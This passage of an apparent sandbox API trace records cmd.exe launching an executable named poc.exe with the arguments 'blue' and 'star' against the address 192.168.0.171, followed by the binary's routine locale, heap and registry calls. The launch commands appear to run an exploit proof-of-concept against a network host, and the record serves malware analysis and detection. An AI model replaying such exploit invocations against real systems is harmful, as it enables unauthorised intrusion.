lpApplicationName="C:\\ProgramData\\poc.exe", lpCommandLine="C:\\ProgramData\\poc.exe blue 192.168.0.171 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2cf034*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\poc.exe blue 192.168.0.171 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf080 | out: lpCommandLine="C:\\ProgramData\\poc.exe blue 192.168.0.171 ", lpProcessInformation=0x2cf080*(hProcess=0x78, hThread=0x74, dwProcessId=0x388, dwThreadId=0x24c)) returned 1 [0091.249] CloseHandle (hObject=0x74) returned 1 [0091.250] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.250] GetProcessHeap () returned 0x510000 [0091.250] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527f38 | out: hHeap=0x510000) returned 1 [0091.250] GetEnvironmentStringsW () returned 0x5260f8* [0091.250] GetProcessHeap () returned 0x510000 [0091.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb36) returned 0x527f38 [0091.250] FreeEnvironmentStringsW (penv=0x5260f8) returned 1 [0091.250] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0117.660] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2cef74 | out: lpExitCode=0x2cef74*=0x0) returned 1 [0117.660] CloseHandle (hObject=0x78) returned 1 [0117.661] _vsnwprintf (in: _Buffer=0x2cf0bc, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cef80 | out: _Buffer="00000000") returned 8 [0117.661] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0117.661] GetProcessHeap () returned 0x510000 [0117.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527f38 | out: hHeap=0x510000) returned 1 [0117.661] GetEnvironmentStringsW () returned 0x527f38* [0117.661] GetProcessHeap () returned 0x510000 [0117.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x528aa0 [0117.661] FreeEnvironmentStringsW (penv=0x527f38) returned 1 [0117.661] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0117.661] GetProcessHeap () returned 0x510000 [0117.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528aa0 | out: hHeap=0x510000) returned 1 [0117.661] GetEnvironmentStringsW () returned 0x527f38* [0117.661] GetProcessHeap () returned 0x510000 [0117.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x528aa0 [0117.661] FreeEnvironmentStringsW (penv=0x527f38) returned 1 [0117.661] GetProcessHeap () returned 0x510000 [0117.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ffc8 | out: hHeap=0x510000) returned 1 [0117.661] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cefd8 | out: lpAttributeList=0x2cefd8) [0117.661] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3bc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0117.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.662] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2cf178, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2cf170, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2cf170*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0117.662] GetProcessHeap () returned 0x510000 [0117.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x510af0 [0117.662] GetProcessHeap () returned 0x510000 [0117.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x5e) returned 0x511238 [0117.662] _wcsnicmp (_String1="C:\\P", _String2="cmd ", _MaxCount=0x4) returned -51 [0117.662] GetProcessHeap () returned 0x510000 [0117.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x418) returned 0x526c60 [0117.662] SetErrorMode (uMode=0x0) returned 0x0 [0117.663] SetErrorMode (uMode=0x1) returned 0x0 [0117.663] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\.", nBufferLength=0x208, lpBuffer=0x526c68, lpFilePart=0x2ceedc | out: lpBuffer="C:\\ProgramData", lpFilePart=0x2ceedc*="ProgramData") returned 0xe [0117.663] SetErrorMode (uMode=0x0) returned 0x1 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526c60, Size=0x36) returned 0x526c60 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x526c60) returned 0x36 [0117.663] NeedCurrentDirectoryForExePathW (ExeName="C:\\ProgramData\\.") returned 1 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x51f4c8 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x5108b0 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5108b0, Size=0x2c) returned 0x5108b0 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x5108b0) returned 0x2c [0117.663] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0117.663] GetProcessHeap () returned 0x510000 [0117.663] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe0) returned 0x510d08 [0117.664] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x510d08, Size=0x76) returned 0x510d08 [0117.664] GetProcessHeap () returned 0x510000 [0117.664] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x510d08) returned 0x76 [0117.665] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.665] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\poc.exe", fInfoLevelId=0x1, lpFindFileData=0x2cec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cec78) returned 0x5108e8 [0117.665] GetProcessHeap () returned 0x510000 [0117.665] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5255e8, Size=0x4) returned 0x5255e8 [0117.665] FindClose (in: hFindFile=0x5108e8 | out: hFindFile=0x5108e8) returned 1 [0117.665] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0117.665] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0117.665] GetConsoleTitleW (in: lpConsoleTitle=0x2cf150, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0117.665] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cefd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf0a0 | out: lpAttributeList=0x2cefd8, lpSize=0x2cf0a0) returned 1 [0117.665] UpdateProcThreadAttribute (in: lpAttributeList=0x2cefd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf098, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cefd8, lpPreviousValue=0x0) returned 1 [0117.665] GetStartupInfoW (in: lpStartupInfo=0x2cef94 | out: lpStartupInfo=0x2cef94*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0117.665] lstrcmpW (lpString1="\\poc.exe", lpString2="\\XCOPY.EXE") returned -1 [0117.665] CreateProcessW (in: lpApplicationName="C:\\ProgramData\\poc.exe", lpCommandLine="C:\\ProgramData\\poc.exe star 192.168.0.171", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2cf034*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\poc.exe star 192.168.0.171", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf080 | out: lpCommandLine="C:\\ProgramData\\poc.exe star 192.168.0.171", lpProcessInformation=0x2cf080*(hProcess=0x74, hThread=0x78, dwProcessId=0x1114, dwThreadId=0x1110)) returned 1 [0117.679] CloseHandle (hObject=0x78) returned 1 [0117.679] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0117.680] GetProcessHeap () returned 0x510000 [0117.680] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528aa0 | out: hHeap=0x510000) returned 1 [0117.680] GetEnvironmentStringsW () returned 0x527f38* [0117.680] GetProcessHeap () returned 0x510000 [0117.680] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x528aa0 [0117.680] FreeEnvironmentStringsW (penv=0x527f38) returned 1 [0117.680] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0125.725] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x2cef74 | out: lpExitCode=0x2cef74*=0x0) returned 1 [0125.725] CloseHandle (hObject=0x74) returned 1 [0125.725] _vsnwprintf (in: _Buffer=0x2cf0bc, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cef80 | out: _Buffer="00000000") returned 8 [0125.726] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0125.726] GetProcessHeap () returned 0x510000 [0125.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528aa0 | out: hHeap=0x510000) returned 1 [0125.726] GetEnvironmentStringsW () returned 0x527f38* [0125.726] GetProcessHeap () returned 0x510000 [0125.726] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x528aa0 [0125.726] FreeEnvironmentStringsW (penv=0x527f38) returned 1 [0125.726] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0125.726] GetProcessHeap () returned 0x510000 [0125.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528aa0 | out: hHeap=0x510000) returned 1 [0125.726] GetEnvironmentStringsW () returned 0x527f38* [0125.726] GetProcessHeap () returned 0x510000 [0125.726] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x528aa0 [0125.726] FreeEnvironmentStringsW (penv=0x527f38) returned 1 [0125.726] GetProcessHeap () returned 0x510000 [0125.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ffc8 | out: hHeap=0x510000) returned 1 [0125.726] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cefd8 | out: lpAttributeList=0x2cefd8) [0125.726] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.726] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.726] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.726] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0125.727] _get_osfhandle (_FileHandle=0) returned 0x3 [0125.727] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0125.727] SetConsoleInputExeNameW () returned 0x1 [0125.727] GetConsoleOutputCP () returned 0x1b5 [0125.727] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0125.727] SetThreadUILanguage (LangId=0x0) returned 0x409 [0125.727] exit (_Code=0) Process: id = "7" image_name = "poc.exe" filename = "c:\\programdata\\poc.exe" page_root = "0x2f627000" os_pid = "0x388" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xfb0" cmd_line = "C:\\ProgramData\\poc.exe blue 192.168.0.171 " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 422 os_tid = 0x24c [0091.377] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x754258 [0091.378] GetKeyboardType (nTypeFlag=0) returned 4 [0091.378] GetCommandLineA () returned="C:\\ProgramData\\poc.exe blue 192.168.0.171 " [0091.378] GetStartupInfoA (in: lpStartupInfo=0x28f928 | out: lpStartupInfo=0x28f928*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\poc.exe blue 192.168.0.171 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0091.378] GetVersion () returned 0x1db10106 [0091.378] GetVersion () returned 0x1db10106 [0091.378] GetCurrentThreadId () returned 0x24c [0091.378] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x28f424, nSize=0x105 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0091.378] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x28f2ff, nSize=0x105 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0091.378] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x28f414 | out: phkResult=0x28f414*=0x0) returned 0x2 [0091.379] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x28f414 | out: phkResult=0x28f414*=0x0) returned 0x2 [0091.379] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x28f414 | out: phkResult=0x28f414*=0x0) returned 0x2 [0091.379] lstrcpynA (in: lpString1=0x28f2ff, lpString2="C:\\ProgramData\\poc.exe", iMaxLength=261 | out: lpString1="C:\\ProgramData\\poc.exe") returned="C:\\ProgramData\\poc.exe" [0091.379] GetThreadLocale () returned 0x409 [0091.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x28f40f, cchData=5 | out: lpLCData="ENU") returned 4 [0091.459] lstrlenA (lpString="C:\\ProgramData\\poc.exe") returned 22 [0091.459] lstrcpynA (in: lpString1=0x28f312, lpString2="ENU", iMaxLength=242 | out: lpString1="ENU") returned="ENU" [0091.459] LoadLibraryExA (lpLibFileName="C:\\ProgramData\\poc.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0091.459] lstrcpynA (in: lpString1=0x28f312, lpString2="EN", iMaxLength=242 | out: lpString1="EN") returned="EN" [0091.459] LoadLibraryExA (lpLibFileName="C:\\ProgramData\\poc.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffdd, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.459] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LoadStringA (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.460] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x7550e8 [0091.461] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x460000 [0091.461] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x7560e8 [0091.461] VirtualAlloc (lpAddress=0x460000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x460000 [0091.461] LoadStringA (in: hInstance=0x400000, uID=0xfff2, lpBuffer=0x28f534, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.461] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x28f534, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0091.461] GetVersionExA (in: lpVersionInformation=0x28f8cc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x41cf31, dwMinorVersion=0x460000, dwBuildNumber=0x4000, dwPlatformId=0x0, szCSDVersion="üÏA") | out: lpVersionInformation=0x28f8cc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0091.461] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0091.462] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0091.462] GetThreadLocale () returned 0x409 [0091.462] GetThreadLocale () returned 0x409 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Jan") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="January") returned 8 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Feb") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="February") returned 9 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Mar") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="March") returned 6 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Apr") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="April") returned 6 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="May") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="May") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Jun") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="June") returned 5 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Jul") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="July") returned 5 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Aug") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="August") returned 7 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sep") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="September") returned 10 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Oct") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="October") returned 8 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Nov") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="November") returned 9 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Dec") returned 4 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="December") returned 9 [0091.462] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sun") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sunday") returned 7 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Mon") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Monday") returned 7 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Tue") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Tuesday") returned 8 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Wed") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Wednesday") returned 10 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Thu") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Thursday") returned 9 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Fri") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Friday") returned 7 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sat") returned 4 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Saturday") returned 9 [0091.463] GetThreadLocale () returned 0x409 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x28f800, cchData=256 | out: lpLCData="$") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=",") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=".") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x28f800, cchData=256 | out: lpLCData="2") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x28f8f8, cchData=2 | out: lpLCData="/") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x28f800, cchData=256 | out: 